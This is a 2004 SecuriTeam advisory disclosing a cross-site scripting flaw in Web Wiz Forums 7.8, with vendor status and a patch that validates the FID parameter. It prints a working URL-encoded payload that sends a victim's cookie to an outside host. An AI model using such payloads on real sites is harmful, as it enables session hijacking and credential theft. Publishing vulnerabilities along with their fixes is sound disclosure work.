[NEWS] Web Wiz Forums Registration Rules XSS Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 06/21/04

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Date: 21 Jun 2004 11:10:37 +0200

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      Web Wiz Forums Registration Rules XSS Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.webwizguide.info/web_wiz_forums/> Web Wiz Forums, the free
    award winning ASP bulletin board system software, can add value to almost
    any web site. Whether you are building a small interactive community with
    10 people or over 100,000 strong customer support forum, this fast,
    scalable, bulletin board engine can manage your community."

    A cross site scripting vulnerability exists in the registration rules page
    allowing an attacker to steal credential information and inject malicious
    cookies.

    DETAILS

    Vulnerable Systems:
     * Web Wiz Forums version 7.8

    Immune Systems:
     * Web Wiz Forums version 7.9

    The FID variable is susceptible to a cross-site scripting attack when
    provided with malicious input. However, it is evident from the following
    example that the malicious characters should be URL encoded prior to
    sending. In effect, the parameter is vulnerable to URL decoding attacks.
    The following example tests the system running on the server for this
    vulnerability:
    registration_rules.asp?FID=%22%3E%3Cscript%3Ealert%28%27Vulnerable%2520%21%27%29%3C%2Fscript%3E

    The next example sends the victim's cookie to a predefined URL:
    registration_rules.asp?FID=%22%3E%3Cimg+width%3D0+height%3D0
    +src%3D%22javascript%3Adocument%2Eimages%5B0%5D%2Esrc%3D%27
    http%3A%2F%2Fferruh%2Emavituna%2Ecom%2Fxss%2F%3F%27%2B
    document%2Ecookie%22%3E

    Vendor Status:
    The vendor has released a newer version which addresses the issue. However
    it is also possible to download a patch which can be found at
    <http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip>
    http://www.zap2.me.uk/7.7a_and_7.8_to_7.9_patch_files.zip.

    Change line 65 of the file registration_rules.asp that reads:
    intForumID = Request.QueryString("FID")

    To the following:
    --------------------------------- Begin Code
    ---------------------------------
    If isNumeric(Request.QueryString("FID")) Then
             intForumID = CInt(Request.QueryString("FID"))
    Else
             intForumID = 0
    End If
    ---------------------------------- End Code
    ----------------------------------

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ferruh@mavituna.com> Ferruh
    Mavituna.

    ========================================

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